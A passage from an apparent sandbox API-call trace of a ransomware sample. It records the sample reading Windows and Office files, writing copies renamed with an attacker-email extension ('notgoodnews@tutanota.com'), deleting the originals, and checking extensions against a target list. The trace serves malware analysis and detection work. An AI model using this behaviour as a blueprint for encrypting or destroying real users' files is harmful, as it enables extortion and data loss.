shared\\ink\\hwrusalm.dat.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0193.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0194.202] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.202] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0194.203] GetLastError () returned 0x0 [0194.203] ReadFile (in: hFile=0x370, lpBuffer=0x30ae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fecc, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2a8fecc*=0xb20, lpOverlapped=0x0) returned 1 [0194.219] WriteFile (in: hFile=0x374, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2a8fc94, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2a8fc94*=0xb30, lpOverlapped=0x0) returned 1 [0194.220] ReadFile (in: hFile=0x370, lpBuffer=0x30ae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fecc, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2a8fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.221] WriteFile (in: hFile=0x374, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc94, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2a8fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.221] SetEndOfFile (hFile=0x374) returned 1 [0194.221] CloseHandle (hObject=0x374) returned 1 [0194.222] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.222] SetEndOfFile (hFile=0x370) returned 1 [0194.223] CloseHandle (hObject=0x370) returned 1 [0194.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0194.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0194.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0194.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0194.224] lstrlenW (lpString=".doc") returned 4 [0194.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.224] lstrlenW (lpString=".docx") returned 5 [0194.224] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.224] lstrlenW (lpString=".pdf") returned 4 [0194.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.224] lstrlenW (lpString=".xls") returned 4 [0194.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.224] lstrlenW (lpString=".xlsx") returned 5 [0194.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.224] lstrlenW (lpString=".ppt") returned 4 [0194.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0194.224] lstrlenW (lpString=".zip") returned 4 [0194.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.224] lstrlenW (lpString=".rar") returned 4 [0194.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.224] lstrlenW (lpString=".bz2") returned 4 [0194.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.224] lstrlenW (lpString=".7z") returned 3 [0194.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0194.224] lstrlenW (lpString=".dbf") returned 4 [0194.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0194.224] lstrlenW (lpString=".1cd") returned 4 [0194.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0194.224] lstrlenW (lpString=".jpg") returned 4 [0194.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0194.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0194.224] lstrlenW (lpString=".doc") returned 4 [0194.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.224] lstrlenW (lpString=".docx") returned 5 [0194.225] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.225] lstrlenW (lpString=".pdf") returned 4 [0194.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.225] lstrlenW (lpString=".xls") returned 4 [0194.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.225] lstrlenW (lpString=".xlsx") returned 5 [0194.225] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.225] lstrlenW (lpString=".ppt") returned 4 [0194.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0194.225] lstrlenW (lpString=".zip") returned 4 [0194.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.225] lstrlenW (lpString=".rar") returned 4 [0194.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.225] lstrlenW (lpString=".bz2") returned 4 [0194.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.225] lstrlenW (lpString=".7z") returned 3 [0194.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0194.225] lstrlenW (lpString=".dbf") returned 4 [0194.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0194.225] lstrlenW (lpString=".1cd") returned 4 [0194.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0194.225] lstrlenW (lpString=".jpg") returned 4 [0194.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.225] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0194.225] lstrlenW (lpString="HH01242_.WMF") returned 12 [0194.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.226] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2a8ff14 | out: lpFileSize=0x2a8ff14*=7340) returned 1 [0194.226] CloseHandle (hObject=0x370) returned 1 [0194.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220 [0194.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.226] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.226] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0194.227] GetLastError () returned 0x0 [0194.227] ReadFile (in: hFile=0x370, lpBuffer=0x30ae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fecc, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2a8fecc*=0x1cac, lpOverlapped=0x0) returned 1 [0194.228] WriteFile (in: hFile=0x374, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2a8fc94, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2a8fc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0194.232] ReadFile (in: hFile=0x370, lpBuffer=0x30ae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fecc, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2a8fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.232] WriteFile (in: hFile=0x374, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc94, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2a8fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.232] SetEndOfFile (hFile=0x374) returned 1 [0194.232] CloseHandle (hObject=0x374) returned 1 [0194.232] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.232] SetEndOfFile (hFile=0x370) returned 1 [0194.233] CloseHandle (hObject=0x370) returned 1 [0194.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0194.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0194.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0194.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0194.234] lstrlenW (lpString=".doc") returned 4 [0194.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.234] lstrlenW (lpString=".docx") returned 5 [0194.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.234] lstrlenW (lpString=".pdf") returned 4 [0194.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.234] lstrlenW (lpString=".xls") returned 4 [0194.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.234] lstrlenW (lpString=".xlsx") returned 5 [0194.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.234] lstrlenW (lpString=".ppt") returned 4 [0194.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0194.234] lstrlenW (lpString=".zip") returned 4 [0194.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.234] lstrlenW (lpString=".rar") returned 4 [0194.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.234] lstrlenW (lpString=".bz2") returned 4 [0194.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.234] lstrlenW (lpString=".7z") returned 3 [0194.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0194.234] lstrlenW (lpString=".dbf") returned 4 [0194.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0194.235] lstrlenW (lpString=".1cd") returned 4 [0194.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0194.235] lstrlenW (lpString=".jpg") returned 4 [0194.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0194.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0194.235] lstrlenW (lpString=".doc") returned 4 [0194.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.235] lstrlenW (lpString=".docx") returned 5 [0194.235] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.235] lstrlenW (lpString=".pdf") returned 4 [0194.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.235] lstrlenW (lpString=".xls") returned 4 [0194.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.235] lstrlenW (lpString=".xlsx") returned 5 [0194.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.235] lstrlenW (lpString=".ppt") returned 4 [0194.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0194.235] lstrlenW (lpString=".zip") returned 4 [0194.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.235] lstrlenW (lpString=".rar") returned 4 [0194.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.235] lstrlenW (lpString=".bz2") returned 4 [0194.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.235] lstrlenW (lpString=".7z") returned 3 [0194.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0194.235] lstrlenW (lpString=".dbf") returned 4 [0194.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0194.235] lstrlenW (lpString=".1cd") returned 4 [0194.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0194.236] lstrlenW (lpString=".jpg") returned 4 [0194.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.236] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0194.236] lstrlenW (lpString="HH01291_.WMF") returned 12 [0194.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.236] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2a8ff14 | out: lpFileSize=0x2a8ff14*=15806) returned 1 [0194.236] CloseHandle (hObject=0x370) returned 1 [0194.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220 [0194.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.237] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.787] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0194.788] GetLastError () returned 0x0 [0194.788] ReadFile (in: hFile=0x370, lpBuffer=0x30ae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fecc, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2a8fecc*=0x3dbe, lpOverlapped=0x0) returned 1 [0194.789] WriteFile (in: hFile=0x350, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2a8fc94, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2a8fc94*=0x3dc0, lpOverlapped=0x0) returned 1 [0194.791] ReadFile (in: hFile=0x370, lpBuffer=0x30ae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fecc, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2a8fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.791] WriteFile (in: hFile=0x350, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc94, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2a8fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.791] SetEndOfFile (hFile=0x350) returned 1 [0194.791] CloseHandle (hObject=0x350) returned 1 [0194.791] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.791] SetEndOfFile (hFile=0x370) returned 1 [0194.792] CloseHandle (hObject=0x370) returned 1 [0194.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0194.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0194.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0194.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0194.793] lstrlenW (lpString=".doc") returned 4 [0194.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.793] lstrlenW (lpString=".docx") returned 5 [0194.793] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.793] lstrlenW (lpString=".pdf") returned 4 [0194.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.793] lstrlenW (lpString=".xls") returned 4 [0194.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.793] lstrlenW (lpString=".xlsx") returned 5 [0194.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.793] lstrlenW (lpString=".ppt") returned 4 [0194.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0194.793] lstrlenW (lpString=".zip") returned 4 [0194.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.793] lstrlenW (lpString=".rar") returned 4 [0194.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.793] lstrlenW (lpString=".bz2") returned 4 [0194.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.793] lstrlenW (lpString=".7z") returned 3 [0194.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0194.793] lstrlenW (lpString=".dbf") returned 4 [0194.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0194.794] lstrlenW (lpString=".1cd") returned 4 [0194.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0194.794] lstrlenW (lpString=".jpg") returned 4 [0194.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0194.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0194.794] lstrlenW (lpString=".doc") returned 4 [0194.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.794] lstrlenW (lpString=".docx") returned 5 [0194.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.794] lstrlenW (lpString=".pdf") returned 4 [0194.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.794] lstrlenW (lpString=".xls") returned 4 [0194.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.794] lstrlenW (lpString=".xlsx") returned 5 [0194.794] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.794] lstrlenW (lpString=".ppt") returned 4 [0194.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0194.794] lstrlenW (lpString=".zip") returned 4 [0194.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.794] lstrlenW (lpString=".rar") returned 4 [0194.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.794] lstrlenW (lpString=".bz2") returned 4 [0194.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.794] lstrlenW (lpString=".7z") returned 3 [0194.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0194.794] lstrlenW (lpString=".dbf") returned 4 [0194.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0194.794] lstrlenW (lpString=".1cd") returned 4 [0194.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0194.794] lstrlenW (lpString=".jpg") returned 4 [0194.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.795] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0194.795] lstrlenW (lpString="HH02155_.WMF") returned 12 [0194.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.795] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2a8ff14 | out: lpFileSize=0x2a8ff14*=2704) returned 1 [0194.795] CloseHandle (hObject=0x370) returned 1 [0194.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220 [0194.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft 